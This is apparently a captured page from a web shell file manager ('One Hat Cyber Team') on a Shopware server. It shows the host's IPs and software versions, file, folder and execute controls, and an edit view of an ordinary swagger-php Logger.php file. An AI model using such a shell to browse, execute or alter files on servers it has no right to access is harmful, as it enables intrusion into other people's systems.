⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.45
Server IP:
185.238.29.86
Server:
Linux server2 6.8.12-6-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-6 (2024-12-19T19:05Z) x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
shopware
/
vendor
/
zircote
/
swagger-php
/
src
/
Edit File: Logger.php
<?php declare(strict_types=1); /** * @license Apache 2.0 */ namespace OpenApi; use Exception; /** * Logger reports the parser and validation messages. * * @deprecated use \OpenApi\Generator and PSR logger instead */ class Logger { /** * Singleton. * * @var Logger */ public static $instance; /** * @var callable */ public $log; protected function __construct() { /* * @param \Exception|string $entry * @param int $type Error type */ $this->log = function ($entry, $type) { if ($entry instanceof Exception) { $entry = $entry->getMessage(); } trigger_error($entry, $type); }; } public static function getInstance(): Logger { if (self::$instance === null) { self::$instance = new Logger(); } return self::$instance; } /** * Log a OpenApi warning. * * @param Exception|string $entry */ public static function warning($entry): void { call_user_func(self::getInstance()->log, $entry, E_USER_WARNING); } /** * Log a OpenApi notice. * * @param Exception|string $entry */ public static function notice($entry): void { call_user_func(self::getInstance()->log, $entry, E_USER_NOTICE); } /** * Shorten class name(s). * * @param array|object|string $classes Class(es) to shorten * * @return string|string[] One or more shortened class names */ public static function shorten($classes) { return Util::shorten($classes); } }
Simpan